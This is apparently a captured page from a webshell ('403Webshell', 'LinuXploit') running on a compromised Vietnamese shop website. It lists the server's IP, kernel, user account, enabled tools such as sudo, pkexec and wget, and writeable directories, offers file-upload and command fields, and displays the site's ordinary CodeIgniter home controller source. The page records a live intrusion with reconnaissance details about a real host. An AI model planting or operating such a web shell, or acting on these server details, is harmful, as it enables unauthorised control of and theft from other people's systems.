403Webshell
Server IP : 103.48.194.25  /  Your IP : 216.73.216.74
Web Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.33
System : Linux VMHostDefault 3.10.0-1160.42.2.el7.x86_64 #1 SMP Tue Sep 7 14:49:57 UTC 2021 x86_64
User : sieuthimay ( 1016)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/khonguyenlieu.vn/public_html/site/controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/khonguyenlieu.vn/public_html/site/controllers/home.php
<?php if ( ! defined('BASEPATH')) exit('No direct script access allowed');
Class home extends CI_Controller 
{
	protected $_templates;
	
	function __construct() 
	{
		parent::__construct();
		$this->load->model('home_model','home');
	}
	
	public function index($start=0)
	{
		$data['title'] = 'Trang chủ' ;
		$data['start'] = $start;
		$page = 'trang '.$start;
		
		/*$data['start'] = (int) $this->uri->segment(4) ; 
		$config['base_url'] = base_url().'home/index/'.(int)$this->uri->segment(3);  
		$data['num'] = $this->home->count_all();
		$config['total_rows'] = $data['num'];
		$config['per_page'] = 18;
		$config['uri_segment'] = 4;
		$config['num_links'] = 3 ;
		$this->pagination->initialize($config);   
		$data['pagination'] = $this->pagination->create_links();*/
		
		$data['list_cat'] = $this->home->get_cat_home();
		
		/*$data['list'] = $this->home->get_all(12,$data['start'],1);
		$data['list_dungcu'] = $this->home->get_all(12,$data['start'],2);
		$data['list_thietbi'] = $this->home->get_all(12,$data['start'],3);*/
		
		$data['metatitle'] = "Kho nguyên liệu pha chế, chuyên cung cấp sĩ và lẽ. Ship toàn quốc ".$page;
		$data['metadesc'] = "Nguyên liệu pha chế, cung cấp thiết bị, nguyên liệu, dụng cụ cho các quán pha chế nước uống cà phê, trà sữa...".$page;
		$data['metakey'] = "nguyên liệu pha chế, dụng cụ pha chế, đồ dùng pha chế, trà sữa, cà phê, nước uống ".$page;
		$data['metaimg'] = urlimg.'metaimg.jpg';
		$data['canonical'] = site;
		
		$data['page'] = 'home/index' ;
		$this->load->view('html/skin',$data) ;
	}
	
	function detail($id=0)
	{
		//$id = (int) $this->uri->segment(3) ;
		$data['rs'] = $this->home->get_id($id) ;
		$this->load->view('sanpham/detail');
	}
	
}

?>

Youez - 2016 - github.com/yon3zu
LinuXploit